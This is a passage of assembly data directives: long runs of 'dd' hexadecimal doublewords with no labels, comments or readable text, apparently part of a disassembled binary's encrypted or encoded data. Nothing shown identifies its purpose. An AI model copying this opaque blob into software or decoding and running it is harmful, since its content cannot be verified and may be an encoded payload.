0CE056DEDh, 61E79EEDh, 0EDF4855Dh, 552FE7F9h, 79ADFF44h dd 65121C7h, 0D71AEDEBh, 0E0C5596Ah, 0A0C7EB6Dh, 6DCB0551h dd 7D24C790h, 0ABEDC805h, 0C54DA7D7h, 0E793EDEAh, 0F94445A3h dd 0E7F74CADh, 0ADFE8749h, 75E8F7F0h, 6EEDD345h, 0C55566C7h dd 0F73CEDEFh, 0F28769EEh, 25D71CADh, 2DCB0775h, 49E8C740h dd 816DFE85h, 0C7652CC7h, 0D7942DE5h, 0F9446121h, 0EFC7ED2Dh dd 0ADD2844Dh, 5563F737h, 63EDF785h, 466DA4C7h, 0C74B6DF6h dd 0C5C66565h, 0ABF76F6Dh, 0EDC70555h, 6DE1D7DDh, 20EDFE85h dd 0C55D24F7h, 0D7A6EDECh, 0EE066D65h, 2FF7146Dh, 6DD34551h dd 756EF7CFh, 8FEDFB85h, 847969E7h, 0F7A32DD4h, 0D04759ADh dd 21E724ADh, 6DFC465Dh, 696ED792h, 0FDADDA47h, 6792AF7h dd 0D76CEDE4h, 0D784552Ch, 2EE798ADh, 0ADC3C475h, 49A9F72Bh dd 7A2DDE84h, 0C749A6E7h, 0C7AFADE6h, 0C6C649A2h, 28E754EDh dd 2DC8077Dh, 4563E7DAh, 992DC107h, 8679E3D7h, 0C7D2EDD4h dd 0C6C46D69h, 0E4E784ADh, 6DF28569h, 75E1E76Dh, 0A12DE3C7h dd 0C771E7E7h, 0F7ECADEFh, 0DE866D22h, 6AE7AA6Dh, 2DDC475Dh dd 79E4F769h, 8DEDCCC6h, 855123F7h, 0D72E6DFBh, 0D7865561h dd 0EAD7E96Dh, 6DE3C551h, 792BE771h, 1D2DE404h, 4549E8E7h dd 0E7606DD6h, 0D5474123h, 6CF78BADh, 6DF18561h, 796AC7F7h dd 0FC2DCCC4h, 4745E7C7h, 0E7C62DD9h, 0D54765A9h, 64C72A2Dh dd 0ADD8847Dh, 6D68E7EEh, 0C1EDD645h, 0C7792BD7h, 0D776ADECh dd 0DD8641A9h, 0E9F791EDh, 2DEFC755h, 452AC74Dh, 272DF187h dd 477DA6C7h, 0D7852DD0h, 0DF477129h, 67E752ADh, 6DD2864Dh dd 59A7C746h, 0A6DC805h, 4555AFE7h, 0E782EDDFh, 0DD8465ABh dd 25F741ADh, 0ADFA444Dh, 756CD7D6h, 74ADDB84h, 67DE3C7h dd 0C7216DE8h, 0FD8765E9h, 6BE7CB2Dh, 0EDDC455Dh, 6D20C718h dd 0E2DE6C7h, 8759AAF7h, 0C7C5ADF8h, 0F544412Eh, 22E7012Dh dd 2DF04459h, 596FF7AEh, 61EDC0C6h, 0C645EED7h, 0D7836DC9h dd 0FD856566h, 0AFD7BAEDh, 6DF94645h, 4923C73Dh, 0BEDDE86h dd 0C65162D7h, 0F7FBEDC3h, 0FC445D65h, 0AAE7E3ADh, 6DFF4655h dd 69E5F708h, 43ADEAC7h, 467D6FE7h, 0F77E6DF0h, 0DA474DA3h dd 22C75C2Dh, 6DD94561h, 5965E716h, 0DFEDF046h, 74DABC7h dd 0F7032DC2h, 0CAC44D68h, 29C768ADh, 6DFA464Dh, 41A8E7A7h dd 0FA6DD545h, 561A8C7h, 0D7496DC1h, 0DA454D2Fh, 0E6F72DEDh dd 6DC0C67Dh, 71E6E7C0h, 7C6DC705h, 475E9E7h, 0D7CAADEBh dd 0E70655A6h, 0AFC7576Dh, 6DF54665h, 69EEE7D1h, 0D36DC205h dd 661A4F7h, 0C7C3EDE1h, 0C9C46161h, 0AAD7532Dh, 2DE80459h dd 7925C7F1h, 586DF485h, 47D27D7h, 0F750ADE8h, 0CAC4692Dh dd 21F7C92Dh, 6DCFC655h, 75A0E7B6h, 0E46DF346h, 875D28D7h dd 0D7882DF4h, 0CFC455EBh, 64D7C7ADh, 0EDC9C661h, 7D6EE722h dd 0B1ADC0C4h, 875122D7h, 0E75FADFBh, 0E9C561A5h, 20F7A86Dh dd 6DE2064Dh, 49E2D7F8h, 0B5EDEE06h, 76927C7h, 0C7A2ADC2h dd 0FE876D60h, 0E0C7512Dh, 0EDF54641h, 51E6D770h, 342DF344h dd 874DE4D7h, 0E7BD2DF2h, 0C405792Dh, 62C7E66Dh, 2DDD8441h dd 492DC7E0h, 0EAEDF646h, 0C65D6DF7h, 0C72C6DCCh, 0C407792Bh dd 0A6F797ADh, 0EDF94661h, 4D2BF79Ch, 89ADE204h, 875526E7h dd 0F7122DF7h, 0D7847160h, 26D7392Dh, 0EDF18545h, 6962F756h dd 282DE204h, 84692ED7h, 0C7962DD2h, 0D884596Bh, 60D74F2Dh dd 0EDD88659h, 45A4E73Eh, 13ADE104h, 0C64DADC7h, 0F7196DCAh dd 0CD0741EDh, 26C7D4ADh, 0EDC10545h, 6D27E7E8h, 0F56DC6C6h dd 857D20D7h, 0C715EDF8h, 0C70755E2h, 25E7AC2Dh, 0EDD94545h dd 596DD7B7h, 80EDE806h, 541E1F7h, 0F7A56DCDh, 0E9C545E2h dd 28C709EDh, 6DD18645h, 752CE7DCh, 95ADF344h, 449ECE7h dd 0F7C42DEEh, 0D78671E3h, 4CE748EDh, 0ADF944D4h, 45E8E7F8h dd 75ADF207h, 0A2C0E0E7h, 93D2ADB6h, 0B34265E9h, 6993DC6Dh dd 2D944245h, 0E06F93DEh, 0D86DB622h, 245A0B3h, 0B3DA2D93h dd 80CD65ECh, 2A63E4EDh, 2DB2CD45h, 65ED63E6h, 0E06DAA8Dh dd 8D456173h, 63E2AD82h, 844D656Ch, 0E543EC2Dh, 0EDB74D45h dd 65EF53EEh, 0E82DA30Dh, 0D45AB53h, 53EA6DB0h, 0BFCC656Bh dd 2773F42Dh, 2DB6CC45h, 656773F6h, 0F0ADA18Ch, 8C456343h dd 53F2AD9Dh, 0B84C6563h, 0AE43FC2Dh, 0EDB24C45h, 65A343FEh dd 0F86D910Ch, 0C456463h, 63FA6DA7h, 0A0CF65E3h, 0EB63C4ADh dd 6DA1CF45h, 652463C6h, 0C06DB18Fh, 8F456063h, 53C2EDBCh dd 924F65ADh, 0E753CC6Dh, 2D874F45h, 65A053CEh, 0C8ED8F0Fh dd 0F45A553h, 43CAEDA6h, 80CE656Ch, 0EA43D46Dh, 6D97CE45h dd 656E43D6h, 0D0ADB98Eh, 8E456753h, 63D26DB7h, 844E65EAh dd 2973DC6Dh, 2DB04E45h, 652453DEh, 0D86DAF0Eh, 0E452C73h dd 43DA6D85h, 90C965E6h, 6633E4ADh, 6D8FC945h, 65A503E6h dd 0E0ADB489h, 89456A33h, 3E2ED98h, 0A349652Fh, 0AE33ECADh dd 0EDA04945h, 652313EEh, 0E82D9A09h, 945A723h, 23EA6DB2h dd 92C86529h, 2E33F4ADh, 6DADC845h, 656623F6h, 0F02DBE88h dd 8845A113h, 33F22D8Ch, 81486569h, 53E70586h, 0BEC9C444h dd 5CD2E7CEh, 1BBED1C4h, 847C52E7h, 0E762BED9h, 0E14578DDh dd 5DE7FC7Eh, 7EE94560h, 4CDCE791h, 897EF105h, 0C5585CE7h dd 0E7517EF9h, 0C1875CDFh, 5FE7367Eh, 7EC9476Ch, 7CDEE7BFh dd 677ED185h, 46705EE7h dd 0E7357ED9h, 0E18550D9h, 59E7273Eh, 3EE94750h, 44D8E78Bh dd 843EF1C6h, 0C45458E7h, 0E70B3EF9h, 0C10650DBh, 5BE7023Eh dd 3EC90754h, 74DAE794h, 783ED105h, 86545AE7h, 0E7FF3ED9h dd 0E14428E5h, 65E757F9h, 0F9E98524h, 24E4E7F5h, 0BAF9F145h dd 60464E7h, 0E7A1F9F9h, 0C14410E7h, 67E737F9h, 0F9C90628h dd 24E6E7DEh, 0FEF9D186h, 870066E7h, 0E75BF9D9h, 0E1452CE1h dd 61E7D4B9h, 0B9E9850Ch, 18E0E7D3h, 14B9F146h, 0C62060E7h dd 0E75AB9F9h, 0C1053CE3h, 63E716B9h, 0B9C94504h, 34E2E76Ch dd 0DCB9D147h, 0C51062E7h, 0E703B9D9h, 0E1442CEDh, 6DE75579h dd 79E94604h, 30ECE772h, 4A79F106h, 4146CE7h, 0E78F79F9h dd 0C10728EFh, 6FE72B79h, 79C94738h, 8EEE77Eh, 0A779D104h dd 6346EE7h, 0E7A579D9h, 0E14704E9h, 69E7BC39h, 39E9041Ch dd 3CE8E7E7h, 9339F146h, 0C61C68E7h, 0E7D039F9h, 0C1863CEBh dd 6BE70E39h, 39C90520h, 24EAE7E9h, 2839D1C6h, 473C6AE7h dd 0E7C939D9h, 0E18530F5h, 75E777F8h, 0F8E90638h, 18F4E766h dd 86F8F145h, 0C41074E7h, 0E7F0F8F9h, 0C18618F7h, 77E71DF8h dd 0F8C98508h, 18F6E7CBh, 0E4F8D104h, 841076E7h, 0E739F8D9h dd 0E1451CF1h, 71E773B8h, 0B8E9842Ch, 28F0E729h, 0C6B8F185h dd 40C70E7h, 0E746B8F9h, 0C1C700F3h, 73E75EB8h, 0B8C90530h dd 14F2E79Eh, 0B3B8D105h, 51872E7h, 0E7BBB8D9h, 0E10718FDh dd 7DE75F78h, 78E98408h, 3CFCE7E0h, 8578F1C7h, 51C7CE7h dd 0E7EE78F9h, 0C18418FFh, 7FE77978h, 78C9C514h, 20FEE707h dd 0B978D1C4h, 861C7EE7h, 0E7C278D9h, 0E18724F9h, 79E7BD38h dd 38E90424h, 2CF8E7F8h, 0C38F1C4h, 443078E7h, 0E7CC38F9h dd 0C1841CFBh, 7BE73F38h, 38C9C430h, 28FAE7F3h, 5B38D1C5h dd 44107AE7h, 0E77838D9h, 0E1C414C5h, 45E710FBh, 0FBE9C608h dd 28C4E7F4h, 73FBF147h, 850844E7h, 0E766FBF9h, 0C1C624C7h dd 47E7B8FBh, 0FBC90624h, 0C6E700h, 32FBD106h, 871446E7h dd 0E77BFBD9h, 0E18400C1h, 41E705BBh, 0BBE94520h, 4C0E7BFh dd 87BBF1C6h, 40040E7h, 0E76ABBF9h, 0C10420C3h, 43E736BBh dd 0BBC94710h, 0CC2E7CEh, 77BBD105h, 52042E7h, 0E729BBD9h dd 0E10418CDh, 4DE7387Bh, 7BE9471Ch, 8CCE7CDh, 0FF7BF145h dd 6104CE7h, 0E7FE7BF9h, 0C10604CFh, 4FE7117Bh, 7BC9C52Ch dd 8CEE706h, 0EF7BD147h, 0C62C4EE7h, 0E73B7BD9h, 0E1C504C9h dd 49E7043Bh, 3BE94730h, 2CC8E77Fh, 0E23BF1C7h, 73448E7h dd 0E7593BF9h, 0C1462CCBh, 4BE7D83Bh, 3BC9071Ch, 1CCAE77Dh dd 313BD106h, 84304AE7h, 0E79D3BD9h, 0E14608D5h, 55E7DEFAh dd 0FAE94618h, 24D4E702h, 47FAF185h, 0C53C54E7h, 0E7A4FAF9h dd 0C10710D7h, 57E786FAh, 0FAC98410h, 30D6E7D0h, 1BFAD185h dd 460056E7h, 0E735FAD9h, 0E1871CD1h, 51E775BAh, 0BAE9C708h dd 1CD0E733h, 67BAF146h, 0C51850E7h, 0E762BAF9h, 637834D3h dd 2B32FF6Dh, 0AD955855h, 75E202F9h, 0FB2D9A18h, 18556622h dd 32C52DB0h, 0BCDB7566h, 0AF02C72Dh, 0ADB1DB55h, 752702C1h dd 0C3AD829Bh, 9B55AB12h, 32CD6DB3h, 0A05B75ECh, 0E722CF2Dh dd 0ADAE5B55h, 756402C9h, 0CB6D9F1Bh, 1B556702h, 12D52D85h dd 0A8DA75A4h, 0A912D7EDh, 6D8DDA55h, 756F32D1h, 0D3EDBC9Ah dd 9A55A512h, 22DD2DB8h, 835A75E3h, 0AA32DFEDh, 0ED9E5A55h dd 752202D9h, 78ED8C1Ah, 0C4696DD7h, 0D7D22DE3h, 0D9456969h dd 0EAB3E52Dh, 2DB9C175h, 55ADB3E7h, 0E1ED87C1h, 8175E4B3h dd 0B3E3ED81h, 97815526h, 0EFB3EDEDh, 0ED8A4175h, 55E6A3EFh dd 0E9ADB741h, 175EB93h, 0B3EBEDB3h, 0AD01556Eh, 0A3A3F5ADh dd 6DA9C075h, 552693F7h, 0F1ED89C0h, 8075ECA3h, 0B3F3ADABh dd 878055E8h, 6593FD6Dh, 6DA44075h, 552883FFh, 0F96DAB40h dd 752E93h, 83FB6DB8h, 0A90055ECh, 0A183C52Dh, 0EDB6C375h dd 556EA3C7h, 0C12D92C3h, 83752F93h, 93C36DA5h, 888355ECh dd 0E483CDEDh, 6DBC4375h, 5522B3CFh, 0C9AD8643h, 3756E93h dd 0A3CBAD9Dh, 92035564h, 6C83D56Dh, 0AD8BC275h, 55AB83D7h dd 0D12DAAC2h, 82756BA3h, 83D36DBEh, 0AC8255A6h, 22A3DDEDh dd 6D974275h, 55E793DFh, 0D96DB142h, 275A383h, 83DB6D99h dd 0B5025569h, 6863E52Dh, 6DBDCD75h, 556843E7h, 0E1ADB5CDh dd 8D75AA43h, 63E32DB3h, 0A88D55EEh, 0A563EDADh, 6D904D75h dd 556D63EFh, 0E9EDBA4Dh, 2DF0DD53h, 73EB2D8Fh, 910D55A6h dd 0E173F5ADh, 0EDB8CC75h, 55E843F7h, 0F1ADB3CCh, 8C75A153h dd 63F3AD84h, 0B18C5525h, 2663FDEDh, 0ED824C75h, 556973FFh dd 0F92D804Ch, 0C75EE73h, 53FB2DBAh, 0AB0C55E2h, 0A653C52Dh dd 2DA8CF75h, 556F43C7h, 0C1AD8ACFh, 8F756853h, 63C32D96h dd 918F55A9h, 0E163CDEDh, 2DA64F75h, 55A773CFh, 0C9ADAC4Fh dd 0F75AC73h, 53CBEDA4h, 810F55EEh, 0E973D52Dh, 6DA1CE75h dd 55AE43D7h, 0D1ADB9CEh, 8E75A053h, 73D32D91h, 0B28E55E1h dd 0A753DDEDh, 6D8E4E75h, 552C73DFh, 0D92D9F4Eh, 0E75EB53h dd 43DBED95h, 0A90E55A2h, 0E503E52Dh, 2D80C975h, 556703E7h dd 0E1ED90C9h, 8975E303h, 3E36D94h, 8F89556Eh, 2A03ED2Dh dd 0ED8A4975h, 552123EFh, 0E9ADA349h, 975E813h, 3EB6DAAh dd 880955ECh, 0E003F5ADh, 6D9BC875h, 55A223F7h, 0F12D85C8h dd 88756933h, 3F32DA7h, 0BD88552Dh, 6E33FDADh, 2D844875h dd 556D23FFh, 0F9ED8548h, 8752903h, 3FB2DBAh, 0B4085564h dd 0E013C5ADh, 0AD81CB75h, 556313C7h, 0C16DA4CBh, 8B756523h dd 33C3ADADh, 0BB8B55A1h, 6213CD2Dh, 0AD964B75h, 556113CFh dd 0C9EDBA4Bh, 0B75A033h, 33CB2D8Eh, 0A00B55AEh, 0A613D52Dh dd 0ED8DCA75h, 552E13D7h, 0D1EDA6CAh, 8A75A403h, 33D32DAAh dd 0A28A5562h, 6333DDEDh, 2DBF4A75h, 55A533DFh, 0D9ED914Ah dd 0A75AF03h, 13DBED8Bh, 0AF0A55EAh, 0AAC2E56Dh, 6DA6D575h dd 55E3E2E7h, 0E1AD94D5h, 957523C2h, 0F2E3ED84h, 9B955528h dd 0ABC2EDEDh, 0ADB15575h, 55A9E2EFh, 0E9EDA355h, 1575E0E2h dd 0F2EB6DBDh, 0A515552Eh, 68F2F5ADh, 2D8DD475h, 556DF2F7h dd 0F1EDBCD4h, 947569E2h, 0C2F3AD99h, 0A19455E1h, 0A3E2FD6Dh dd 0B9CDC7A7h, 2023E72Fh, 73B9D585h, 0C51CA2E7h, 0E784B9DDh dd 0E5471C22h, 0ADE7AE79h, 79EDC518h, 82DE7F2h, 6879F584h dd 0C50CACE7h, 0E73079FDh, 0C5461C2Ch, 0AFE70379h, 79CDC624h dd 382FE7D2h, 6179D504h, 8728AEE7h, 0E7CD79DDh, 0E5452C2Eh dd 0A9E72339h, 39EDC500h, 3C29E707h, 6239F507h, 620A8E7h dd 0E7B839FDh, 0C5870028h, 0ABE73A39h, 39CDC520h, 3C2BE779h dd 1B39D544h, 0C428AAE7h, 0E72D39DDh, 0E546102Ah, 0B5E7DCF8h dd 0F8ED0520h, 3835E73Dh, 54F8F587h, 0C40CB4E7h, 0E70BF8FDh dd 0C5060034h, 0B7E7AFF8h, 0F8CD871Ch, 3C37E749h, 95F8D5C7h dd 728B6E7h, 0E7F9F8DDh, 0E5873436h, 0B1E79FB8h, 0B8ED0614h dd 1031E7D9h, 29B8F504h, 0C400B0E7h, 0E7EBB8FDh, 0C5C60C30h dd 0B3E7D0B8h, 0B8CD0630h, 3833E77Bh, 8EB8D507h, 50CB2E7h dd 0E7FBB8DDh, 0E5841832h, 0BDE77A78h, 78EDC710h, 3DE7D3h dd 1578F505h, 8410BCE7h, 0E7D178FDh, 0C586303Ch, 0BFE7AC78h dd 78CD4714h, 143FE7E3h, 2B78D587h, 453CBEE7h, 0E7B378DDh dd 0E5870C3Eh, 0B9E73638h, 38ED8730h, 1439E71Ah, 0A038F507h dd 4638B8E7h, 0E73E38FDh dd 0C5871838h, 0BBE7C938h, 38CD4734h, 303BE72Ah, 4D38D547h dd 0C41CBAE7h, 0E74538DDh, 0E587243Ah, 85E70CFBh, 0FBEDC534h dd 1005E7DEh, 81FBF5C6h, 0C41084E7h, 0E71EFBFDh, 0C5470C04h dd 87E740FBh, 0FBCD8620h, 1407E77Fh, 0BCFBD545h, 841C86E7h dd 0E7C6FBDDh, 0E5C73806h, 81E727BBh, 0BBED4438h, 2401E713h dd 50BBF585h, 863880E7h, 0E78DBBFDh, 0C5060400h, 83E721BBh dd 0BBCD4700h, 1403E7BDh, 34BBD585h, 862C82E7h, 0E759BBDDh dd 0E5853402h, 8DE7147Bh, 7BED0638h, 100DE79Ah, 0F47BF505h dd 47188CE7h, 0E7FF7BFDh, 0C545340Ch, 8FE70D7Bh, 7BCD8510h dd 140FE75Dh, 0A67BD505h, 47048EE7h, 0E7E67BDDh, 0E507340Eh dd 89E7703Bh, 3BEDC608h, 1409E769h, 0CB3BF544h, 842C88E7h dd 0E7A7BCC1h, 0C1444CB3h, 0B3E790BCh, 0BCC10564h, 70B3E768h dd 0EBBCC147h, 758B3E7h, 0E7F5BCC1h, 0C14768B3h, 0B3E742BCh dd 0BCC1C760h, 78B3E719h, 1BBCC186h, 454B3E7h, 0E71DBCC1h dd 0C10540B3h, 0B3E745BCh, 0BCC18748h, 58B3E72Eh, 4BCC106h dd 574B3E7h, 0E746BCC1h, 0C1C468B3h, 0B3E7F4BCh, 0BCC1C674h dd 40B3E752h, 17BCC146h, 8474B3E7h, 0E73BBCC1h, 0C18774B3h dd 0B3E769BCh, 0BCC1477Ch, 68B3E755h, 0AABCC145h, 465CB3E7h dd 0E7F6BCC1h, 0C18770B3h, 0B3E727BCh, 0BCC1C46Ch, 68B3E75Bh dd 76BCC1C6h, 0C544B3E7h, 0E76EBCC1h, 0C14760B3h, 0B3E77CBCh dd 0BCC14544h, 74B3E793h, 49BCC145h, 47CB3E7h, 0E733BCC1h dd 0C1476CB3h, 0B3E7B7BCh, 0BCC14450h, 60B3E707h, 0ACBCC186h dd 46CB3E7h, 8D3DBCC1h, 814075AAh, 0AD83FCADh, 0AD8D4075h dd 756CA3FCh, 0FCEDB340h, 4075A8A3h, 0A3FC6D81h, 0A9407520h dd 20B3FC2Dh, 0AD804075h, 75AE83FCh, 0FC6DB740h, 407523A3h dd 0A3FCAD95h, 0B5407561h, 2AB3FCADh, 2D884075h, 756EB3FCh dd 0FC2DBF40h, 40752083h, 83FCEDB0h, 0B24075A1h, 0AF93FCADh dd 6DA84075h, 752CB3FCh, 0FC6DA140h, 4075ECA3h, 93FC2DBDh dd 4160756Fh, 0B3E7C6BCh, 0BCC10754h, 4CB3E711h, 18BCC1C5h dd 4674B3E7h, 0E7F3BCC1h, 0C1C570B3h, 0B3E7CBBCh, 0BCC10768h dd 7CB3E7B4h, 0D1BCC1C5h, 4554B3E7h, 0E762BCC1h, 0C1C758B3h dd 0B3E757BCh, 0BCC10558h, 6CB3E726h, 95BCC1C5h, 4758B3E7h dd 0E78ABCC1h, 0C1C568B3h, 0B3E7A5BCh, 0BCC18568h, 48B3E747h dd 6BBCC144h, 8760B3E7h, 0E7A1BCC1h, 0C1C460B3h, 0B3E736BCh dd 0BCC14478h, 4CB3E7D2h, 0BCC146h, 66CB3E7h, 0E716BCC1h dd 0C1C65CB3h, 0B3E7D9BCh, 0BCC10774h, 68B3E75Ch, 40BCC104h dd 4754B3E7h, 0E7F8BCC1h, 0C1456CB3h, 0B3E71CBCh, 0BCC14750h dd 70B3E7A8h, 5DBCC1C7h, 640B3E7h, 0E728BCC1h, 0C14644B3h dd 0B3E7E2BCh, 0BCC10470h, 5CB3E712h, 34BCC144h, 660B3E7h dd 0E763BCC1h, 0C10460B3h, 0B3E7A2BCh, 0BCC14540h, 40B3E794h dd 3EBCC1C7h, 778B3E7h, 0E77DBCC1h, 0C1C55CB3h, 0B3E74FBCh dd 0BCC18544h, 48B3E74Ah, 0DABCC185h, 847CB3E7h, 0E76ABCC1h dd 0C1C448B3h, 0B3E754BCh, 0BCC1866Ch, 64B3E7BBh, 43BCC145h dd 8648B3E7h, 0E7D5BCC1h, 0C1065CB3h, 0B3E7FBBCh, 0BCC1C650h dd 74B3E773h, 22BCC106h, 8650B3E7h, 0E7CFBCC1h, 0C10568B3h dd 0B3E7C7BCh, 0BCC1C578h, 60B3E714h, 89BCC105h, 856CB3E7h dd 0E7E1BCC1h, 0C18440B3h, 0B3F72CBCh, 2D8940F7h, 752093FCh dd 0FCAD8540h, 4075E0B3h, 0B3FCAD9Ah, 0BC40756Fh, 0AEB3FCEDh dd 0ADAF4075h, 7525B3FCh, 0FCED8840h, 4075ABB3h, 93FCAD9Fh dd 0B640752Ch, 69B3FC6Dh, 6DB94075h, 752B93FCh, 0FC6D8540h dd 4075EBA3h, 0B3FCED9Eh, 8B407521h, 6783FC6Dh, 2D904075h dd 75EEA3FCh, 0FC2DAD40h, 40756B93h, 0A3FC6D9Eh, 0A6407526h dd 0E093FC6Dh, 6DBC4075h, 75E3B3FCh, 0FCEDB240h, 40756793h dd 83FCEDA1h, 9F407522h, 0A293FC6Dh, 2DB34075h, 75A783FCh dd 0FC2D8440h, 407563B3h, 93FCEDB1h, 0B04075E3h, 0E7B3FCADh dd 0EDA94075h, 7522B3FCh, 0DD267D60h, 2AE55B25h, 0E4E526DDh dd 0FDB5A565h, 67E4EDE1h, 0E1DD35A5h, 0A561E4F5h, 0FDA1FDB4h dd 34A563E4h, 0E4C5A1DDh, 0FDB7A56Dh, 6FE4CD61h, 61DD37A5h dd 0A569E4D5h, 0DD21FDB6h, 36A56BE4h, 0A4E521DDh, 0FDB1A575h dd 77A4EDE0h, 0E0DD31A5h, 0A571A4F5h, 0FDA0FDB0h, 30A573A4h dd 0A4C5A0DDh, 0FDB3A57Dh, 7FA4CD60h, 60DD33A5h, 0A579A4D5h dd 0DD20FDB2h, 32A57BA4h, 64E520DDh, 0FDBDA545h, 4764EDE3h dd 0E3DD3DA5h, 0A54164F5h, 0FDA3FDBCh, 3CA54364h, 64C5A3DDh dd 0FDBFA54Dh, 4F64CD63h, 63DD3FA5h, 0A54964D5h, 0DD23FDBEh dd 3EA54B64h, 24E523DDh, 0FDB9A555h, 5724EDE2h, 0E2DD39A5h dd 0A55124F5h, 0FDA2FDB8h, 38A55324h, 24C5A2DDh, 0FDBBA55Dh dd 5F24CD62h, 62DD3BA5h, 0A55924D5h, 0DD22FDBAh, 3AA55B24h dd 0C70AEDE5h, 0E7C464F5h, 75B5A5FCh, 0E4FCA1E1h, 0E177B5ADh dd 0B5E4DC21h, 0A0E171B5h, 0B5BDA4FCh, 0DC20E173h, 7DB585A4h dd 64FCA3E1h, 0E17FB58Dh, 9564DC23h, 0A2E179B5h, 0B59D24FCh dd 0DC22E17Bh, 4575A524h, 0E7FCADE1h, 0E14775ADh, 0B5E7DC2Dh dd 0ACE14175h, 75BDA7FCh, 0DC2CE143h, 4D7585A7h, 67FCAFE1h dd 0E14F758Dh, 9567DC2Fh, 0AEE14975h, 759D27FCh, 0DC2EE14Bh dd 5535A527h, 0E6FCA9E1h, 0E15735ADh, 0B5E6DC29h, 0A8E15135h dd 35BDA6FCh, 0DC28E153h, 5D3585A6h, 66FCABE1h, 0E15F358Dh dd 9566DC2Bh, 0AAE15935h, 359D26FCh, 0DC2AE15Bh, 65F4A526h dd 0E1FCB5A1h, 0A167F4ADh, 0B5E1DC35h, 0B4A161F4h, 0F4BDA1FCh dd 0DC34A163h, 6DF485A1h, 61FCB7A1h, 0A16FF48Dh, 9561DC37h dd 0B6A169F4h, 0F49D21FCh, 0DC36A16Bh, 75B4A521h, 0E0FCB1A1h dd 0A177B4ADh, 0B5E0DC31h, 0B0A171B4h, 0B4BDA0FCh, 0DC30A173h dd 7DB485A0h, 60FCB3A1h, 0A17FB48Dh, 9560DC33h, 0B2A179B4h dd 0B49D20FCh, 0DC32A17Bh, 4574A520h, 0E3FCBDA1h, 0A14774ADh dd 0B5E3DC3Dh, 0BCA14174h, 74BDA3FCh, 0DC3CA143h, 4D7485A3h dd 63FCBFA1h, 0A14F748Dh, 9563DC3Fh, 0BEA14974h, 749D23FCh dd 0DC3EA14Bh, 5534A523h, 0E2FCB9A1h, 0A15734ADh, 0B5E2DC39h dd 0B8A15134h, 34BDA2FCh, 0DC38A153h, 5D3485A2h, 62FCBBA1h dd 0A15F348Dh, 9562DC3Bh, 0BAA15934h, 349D22FCh, 0E53AA15Bh dd 0F5D789EDh, 0FCE6856Ch, 0ED758565h, 6DE4FFA1h, 21ED7785h dd 8575E4DFh, 0FFA0ED71h, 73857DA4h, 0A4DF20EDh, 0ED7D8545h dd 4D64FFA3h, 23ED7F85h, 855564DFh, 0E3A2ED79h, 25F7A771h dd 0EDF9C549h, 7D64C761h, 23EDF785h, 8551A4D7h, 0E7ECEDDDh dd 0D34555A6h, 66F7AEEDh, 0EDC14579h, 4D27C768h, 2AEDCF05h dd 561E7D7h, 0E7F7ADD5h, 0DB844563h, 0A3F7B5ADh, 0ADC98469h dd 5DE2C773h, 31ADC7C4h, 0C47122D7h, 0E7FEADEDh, 0E3047520h dd 0E0F7BCADh, 0ADF10459h, 6DA1C77Ah, 38ADFF44h, 444161D7h dd 0E7C12DC5h, 0CB0765E8h, 28F7832Dh, 2DD90749h, 7D69C745h dd 72DD747h, 4751A9D7h, 0E7C82DFDh, 0F38755ABh, 6BF78A2Dh dd 2DE18779h, 4D2AC74Ch, 0E2DEFC7h, 0C761EAD7h, 0E7D36DF5h dd 0FB46456Eh, 0AEF7916Dh, 6DE94669h, 5DEFC757h, 156DE706h dd 6712FD7h, 0E7DA6DCDh, 903D652Dh, 29D7852Dh, 2DCB0775h dd 4DE8C740h, 32DC207h, 864968F7h, 0D70BEDDEh, 0D7867162h dd 0E2E748EDh, 0EDCCC679h, 4123F78Dh, 0CEEDC5C6h, 4669A3C7h dd 0D706EDFAh, 0F34651A0h dd 20E745EDh, 0EDE80659h, 61E1F780h, 0C3EDE106h, 474961C7h dd 0D711ADD6h, 0DF4771E7h, 67E752ADh, 0ADC40779h, 41A6F797h dd 0D4ADCD07h, 876926C7h, 0D71CADF2h, 0FB875125h, 0A5E75FADh dd 0ADE0C759h, 6164F79Ah, 0D9ADE9C7h, 549E4C7h, 0D73F6DCEh dd 0C7057169h, 0E9E77C6Dh, 6DDC4579h, 4128F7B9h, 0FA6DD545h dd 0C569A8C7h, 0D7326DEAh, 0E3C551ABh, 2BE7716Dh, 6DF88559h dd 61EAF7B4h, 0F76DF185h, 0C4496AC7h, 0D7252DC6h, 0CFC471ECh dd 6CE7662Dh, 2DD48479h, 41ADF7A3h, 0E02DDD84h, 4692DC7h dd 0D7282DE2h, 0EB04512Eh, 0AEE76B2Dh, 2DF04459h, 616FF7AEh dd 0ED2DF944h, 4751EFC7h, 0C7BEADD3h, 0DA4769AAh, 2AF7FDADh dd 0ADC10761h, 59EBE738h, 7BADC807h, 87716BD7h, 0C7B3ADF7h dd 0FE874968h, 0E8F7F0ADh, 0ADE5C741h, 7929E735h, 76ADECC7h dd 8651A9D7h, 0C7A4EDDBh, 0D286692Fh, 0AFF7E7EDh, 0EDC9C661h dd 596EE722h, 61EDC0C6h, 4671EED7h, 0C7A9EDFFh, 0F64649EDh dd 6DF7EAEDh, 0EDED0641h, 79ACE72Fh, 6CEDE406h, 0C4512CD7h dd 0C78A2DC3h, 0CAC469A1h, 21F7C92Dh, 2DD18461h, 59E0E70Ch dd 4F2DD884h, 47160D7h, 0C7872DE7h, 0EE044963h, 0E3F7C42Dh dd 2DF54441h, 7922E701h, 422DFC44h, 551A2D7h, 0C7906DCBh dd 0C2056924h, 0A4F7D36Dh, 6DD94561h, 5965E716h, 556DD045h dd 0C571E5D7h, 0C79D6DEFh, 0E6C549E6h, 66F7DE6Dh, 6DFD8541h dd 79A7E71Bh, 586DF485h, 47D27D7h, 0F750ADE8h, 0E104452Dh dd 0ADC713ADh, 0ADFA444Dh, 756CD7D6h, 95ADF344h, 0C45DECE7h dd 0F75DADCCh, 0C5C465EFh, 6FC71EADh, 0ADDE846Dh, 55AED7DBh dd 98ADD784h, 0C57D2EE7h, 0F74AEDE0h, 0E9C545A8h, 28C709EDh dd 0EDF2854Dh, 75E9D7CCh, 8FEDFB85h, 55D69E7h, 0F747EDC4h dd 0CD05656Ah, 0EAC704EDh, 0EDD6456Dh, 552BD7C1h, 82EDDF45h dd 877DABE7h, 0F7642DF8h, 0F1874526h, 0A6C7272Dh, 2DEAC74Dh dd 7567D7E2h, 0A12DE3C7h, 475DE7E7h, 0F7692DDCh, 0D54765E4h dd 64C72A2Dh, 2DCE076Dh, 55A5D7EFh, 0AC2DC707h, 467D25E7h dd 0F77E6DF0h, 0F94645A3h, 23C73D6Dh, 6DE2064Dh, 75E2D7F8h dd 0BB6DEB06h, 865D62E7h, 0F7736DD4h, 0DD866561h, 